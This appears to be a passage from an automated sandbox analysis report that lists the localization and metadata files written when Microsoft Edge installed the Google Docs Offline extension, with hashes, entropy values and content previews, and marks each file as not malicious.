SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9